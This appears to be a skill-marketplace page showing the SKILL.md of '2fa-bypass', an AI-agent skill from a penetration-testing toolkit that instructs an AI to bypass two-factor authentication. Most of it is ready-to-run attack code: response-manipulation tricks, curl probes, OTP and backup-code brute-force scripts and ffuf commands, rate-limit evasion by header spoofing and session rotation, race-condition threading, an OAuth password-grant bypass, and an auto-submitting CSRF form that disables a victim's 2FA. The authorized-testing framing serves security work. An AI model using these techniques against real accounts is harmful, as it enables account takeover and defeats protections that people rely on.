소스 정보
- 저장소
- blacklanternsecurity/red-run
- 최근 소스 활동
- 2026년 3월 22일 09:19
- 감지된 SKILL.md 언어
- 영어
- 스타
- 263
- 포크
- 37
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/blacklanternsecurity/red-run --skill 2fa-bypass명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | 2fa-bypass |
| description | Bypass two-factor authentication (2FA/MFA) during authorized penetration testing. |
| keywords | ["2fa bypass","mfa bypass","two-factor bypass","otp bypass","otp brute force","2fa brute force","totp bypass","sms bypass","backup code brute force","2fa response manipulation","skip 2fa","bypass mfa","second factor bypass","authentication bypass 2fa","the user has found an application with 2FA and wants to test for bypass techniques"] |
| tools | ["burpsuite (Turbo Intruder)","curl","python scripts"] |
| opsec | medium |
You are helping a penetration tester bypass two-factor authentication. The target application requires a second factor (SMS code, TOTP, email code, or backup code) after password authentication. The goal is to access accounts without providing a valid second factor. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[2fa-bypass] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
2FA bypass testing involves multi-step form progression — browser tools handle the login → 2FA flow naturally.
browser_fill / browser_click for login form → 2FA code entry
progression (username/password first, then 2FA code field)browser_cookies for session state inspection between authentication
stages (pre-2FA vs post-2FA cookies)browser_evaluate to inspect client-side validation logic (e.g.,
document.querySelector('form').onsubmit to check for client-side OTP
validation that can be bypassed)Identify the 2FA implementation details.
/verify-2fa, /mfa/verify, /otp/checkTest if 2FA validation is only enforced client-side.
Intercept the 2FA verification response in Burp:
# Failed 2FA response
HTTP/1.1 403 Forbidden
{"success": false, "error": "Invalid code"}
# Modify to:
HTTP/1.1 200 OK
{"success": true}
If the application redirects to the dashboard → 2FA is client-side only.
// Original (failed)
{"authenticated": false, "mfa_verified": false}
// Modified
{"authenticated": true, "mfa_verified": true}
# Failed response redirects back to 2FA page
HTTP/1.1 302 Found
Location: /2fa/verify?error=invalid
# Modify redirect to authenticated page
HTTP/1.1 302 Found
Location: /dashboard
Check if the OTP appears in the response body, headers, or JavaScript:
# Check response for OTP hints
curl -s -X POST "https://TARGET/send-otp" \
-H "Cookie: session=VALID_SESSION" \
-d "method=sms" | grep -iE "otp|code|token|verify"
# Check JavaScript files for hardcoded codes
curl -s "https://TARGET/static/app.js" | grep -iE "otp|code.*=.*[0-9]"
Skip the 2FA page entirely by navigating directly to authenticated pages.
After entering valid credentials (before completing 2FA):
# Try accessing authenticated endpoints directly
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://TARGET/dashboard"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://TARGET/api/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://TARGET/account/settings"
If any return authenticated content → 2FA is not enforced on that endpoint.
# Web enforces 2FA, but older API versions might not
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://TARGET/api/v1/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://TARGET/api/v2/user/profile"
# Mobile API endpoints
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://TARGET/mobile/api/user/profile"
# Different subdomains may not enforce 2FA
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://api.TARGET/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
"https://old.TARGET/dashboard"
Submit null, empty, or special values as the OTP.
# Empty code
curl -s -X POST -H "Cookie: session=SESSION" \
-d "code=" "https://TARGET/verify-2fa"
# Null in JSON
curl -s -X POST -H "Cookie: session=SESSION" \
-H "Content-Type: application/json" \
-d '{"code": null}' "https://TARGET/verify-2fa"
# Zero
curl -s -X POST -H "Cookie: session=SESSION" \
-d "code=000000" "https://TARGET/verify-2fa"
# Boolean true
curl -s -X POST -H "Cookie: session=SESSION" \
-H "Content-Type: application/json" \
-d '{"code": true}' "https://TARGET/verify-2fa"
{"code": ["000000", "111111", "222222", "333333"]}
Some backends iterate through the array and accept if any value matches.
# Try different parameter names
-d "otp=000000"
-d "one_time_code=000000"
-d "mfa_code=000000"
-d "verification_code=000000"
-d "token=000000"
If the OTP is short and rate limiting is weak, brute-force it.
import requests
url = "https://TARGET/verify-2fa"
cookies = {"session": "POST_LOGIN_SESSION"}
for code in range(1000000):
r = requests.post(url, cookies=cookies,
data={"code": f"{code:06d}"})
if r.status_code == 200 and "dashboard" in r.text:
print(f"[+] Valid OTP: {code:06d}")
break
if code % 1000 == 0:
print(f"[*] Tried {code}...")
ffuf -u "https://TARGET/verify-2fa" \
-X POST \
-H "Cookie: session=POST_LOGIN_SESSION" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=FUZZ" \
-w <(seq -w 0000 9999) \
-mc 200,302 \
-rate 50
IP rotation via headers:
import random
headers = {
"X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
}
# Also try: X-Originating-IP, X-Remote-IP, X-Client-IP, X-Real-IP
Session rotation (rate limit per session):
# If rate limit is tracked per session, not per user:
# Every N attempts, get a new session
if attempt % 20 == 0:
# Logout
requests.get(f"{base}/logout", cookies=cookies)
# Re-login
r = requests.post(f"{base}/login",
data={"user": username, "pass": password})
cookies = r.cookies
# Request new OTP
requests.post(f"{base}/send-otp", cookies=cookies)
Code resend resets counter:
# Some apps reset the attempt counter when you request a new code
if attempt % 10 == 0:
requests.post(f"{base}/resend-otp", cookies=cookies)
# Counter reset — continue brute-force
HTTP/2 single-packet attack:
# Turbo Intruder — send many attempts in one TCP packet
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
for code in range(1000000):
engine.queue(target.req, f"{code:06d}", gate='race1')
if code % 100 == 99:
engine.openGate('race1')
engine.complete(timeout=10)
Backup codes are typically 8-digit numeric or short alphanumeric strings with no rate limiting separate from OTP.
# 8-digit numeric backup codes
ffuf -u "https://TARGET/verify-backup" \
-X POST \
-H "Cookie: session=POST_LOGIN_SESSION" \
-d "backup_code=FUZZ" \
-w <(seq -w 00000000 99999999) \
-mc 200,302 \
-rate 100
# Use a valid backup code
curl -s -X POST -H "Cookie: session=SESSION" \
-d "backup_code=12345678" "https://TARGET/verify-backup"
# Success
# Try the same code again — should be invalidated
curl -s -X POST -H "Cookie: session=SESSION" \
-d "backup_code=12345678" "https://TARGET/verify-backup"
# If still accepted → codes are reusable
Check if backup codes are exposed:
# Complete 2FA with attacker's account, capture session cookie
# Force victim to use attacker's post-2FA session
# Or: if session token is set before 2FA and not rotated after:
# 1. Intercept victim's pre-2FA session
# 2. Complete 2FA on attacker's account with that session
# 3. Session now has 2FA-verified status for attacker's auth
# Capture the "remember this device" cookie/token
# Check if it's predictable, reusable, or transferable
# Check cookie attributes
curl -sI "https://TARGET/verify-2fa" \
-H "Cookie: session=SESSION" \
-d "code=123456&remember=true" | grep -i "set-cookie"
# Try using the device cookie without 2FA
curl -s -H "Cookie: session=SESSION; device_token=STOLEN_TOKEN" \
"https://TARGET/dashboard"
# Scenario: attacker has stolen a session cookie (pre-2FA setup)
# Victim enables 2FA on their account
# Test: does the old session still work?
curl -s -H "Cookie: session=OLD_STOLEN_SESSION" \
"https://TARGET/dashboard"
# If 200 OK → old sessions survive 2FA enablement
# Reset password via email
# After setting new password, does login require 2FA?
# Some apps disable 2FA after password reset
# Route to password-reset-poisoning if reset flow is exploitable
# Direct login requires 2FA, but OAuth login may not
# Try: "Login with Google" → access account without 2FA prompt
# ROPC grant (Resource Owner Password Credentials) bypasses 2FA entirely
curl -s -X POST "https://IDP/token" \
-d "grant_type=password&username=USER&password=PASS&client_id=APP"
# If token returned → 2FA bypassed
# Route to oauth-attacks for OAuth-specific bypasses
# Check if the disable endpoint has CSRF protection
curl -s -X POST -H "Cookie: session=VICTIM_SESSION" \
"https://TARGET/account/2fa/disable"
# If no CSRF token required → attacker can disable victim's 2FA
Build a CSRF PoC to disable 2FA:
<form method="POST" action="https://TARGET/account/2fa/disable">
<input type="hidden" name="confirm" value="true" />
</form>
<script>document.forms[0].submit();</script>
Escalate for CSRF-specific techniques if a token is present.
Send multiple verification requests simultaneously — the server may validate the code before incrementing the failure counter:
import threading
import requests
url = "https://TARGET/verify-2fa"
cookies = {"session": "POST_LOGIN_SESSION"}
results = []
def try_code(code):
r = requests.post(url, cookies=cookies, data={"code": f"{code:06d}"})
if "dashboard" in r.text or r.status_code == 302:
results.append(code)
# Send 100 attempts simultaneously
threads = []
for code in range(100):
t = threading.Thread(target=try_code, args=(code,))
threads.append(t)
for t in threads: t.start()
for t in threads: t.join()
if results:
print(f"[+] Valid code found: {results}")
If the app sends a 2FA code to the user's email:
STOP and return to the orchestrator with: